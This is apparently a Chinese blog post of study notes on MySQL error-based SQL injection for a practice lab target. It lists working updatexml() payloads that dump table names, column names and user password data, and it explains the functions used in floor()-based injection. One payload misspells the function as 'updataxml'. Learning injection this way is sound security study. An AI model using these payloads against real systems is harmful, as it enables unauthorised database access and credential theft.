sql知识总结二(接上)

   2.updatexml报错注入

(1)判断字符型/数字型

如果是字符型再判断闭合方式(备注:结尾加--+看是否闭合,若页面正常执行则闭合完成)

?id=1") and 1=updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) --+

concat()  合并字符

优先执行彩色部分命令

?id=1" and 1=updatexml(1,concat('~',(select database())),3)--+

?id=1") and 1=updataxml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')),3)

?id=1”) and 1=updatexml(1,concat(0x7e,(select group_concat(username,password) from users)),3) --+

?id=1")and 1=updatexml(1,concat(0x7e,(select substring(group_concat(username,':',password),1,30) from users)),3)--+

显示1~30字符

?id=1")and 1=updatexml(1,concat(0x7e,(select substring(group_concat(username,':',password),30,30) from users)),3)--+

#显示30~50字符,第30 个字符为

(2)靶机用户名密码存放位置的表名和列名

数据库information_schema中的数据表tables下数据列table_name和数据表columns下数据列column_name

(3)函数

database()数据库库名

group_concat() 把查询到的结果合并到一行显示

concat() 合并字符

substring(),00,30 从00个字符开始显示30个字符

3.floor报错注入

(1)涉及到的函数

rand()函数,随机返回0~1间的小数

floor()函数,小数向下取整数。  向上取整数ceiling()

concat_ws()函数,将括号内数据用第一个字段连接起来

group by 分组

as 别名

count(),汇总统计数量

limit,这里用于显示指定行数 

rand()函数

>select rand();计算结果在0~1之间

>select rand()*2;  计算结果在0~2之间

>select rand() from users;  根据users的行数随机显示结果

floor()函数

>select floor(rand()*2);  结果随机为0或1

concat_ws函数,将括号内数据用第一个字段连接起来

>select concat_ws('-',(select database()),floor(rand()*2);

相关推荐

  1. sql知识总结

    2024-04-20 12:44:10       38 阅读
  2. sql注入知识总结

    2024-04-20 12:44:10       39 阅读
  3. MYSQL SQL语句总结

    2024-04-20 12:44:10       36 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-04-20 12:44:10       94 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-04-20 12:44:10       100 阅读
  3. 在Django里面运行非项目文件

    2024-04-20 12:44:10       82 阅读
  4. Python语言-面向对象

    2024-04-20 12:44:10       91 阅读

热门阅读

  1. Debian安装和基本使用

    2024-04-20 12:44:10       40 阅读
  2. rman 归档备份 archived log 不重复备份

    2024-04-20 12:44:10       40 阅读
  3. 前端近7天,近半个月,近1个月,近1年的日期处理

    2024-04-20 12:44:10       37 阅读
  4. 笔记:Python猴子吃桃

    2024-04-20 12:44:10       36 阅读
  5. C#使用ftp进行文件上传和下载功能

    2024-04-20 12:44:10       35 阅读
  6. 第二十章hive

    2024-04-20 12:44:10       33 阅读
  7. Python网络爬虫项目开发实战:如何处理动态内容

    2024-04-20 12:44:10       40 阅读
  8. React中子传父的方式及原理

    2024-04-20 12:44:10       34 阅读
  9. postgreSQL学习指南(基础)

    2024-04-20 12:44:10       41 阅读
  10. Spring boot注解开发mybatis

    2024-04-20 12:44:10       34 阅读
  11. python-基础(2)-数值运算

    2024-04-20 12:44:10       30 阅读
  12. 基于Python的招聘信息爬虫系统的设计与实现

    2024-04-20 12:44:10       40 阅读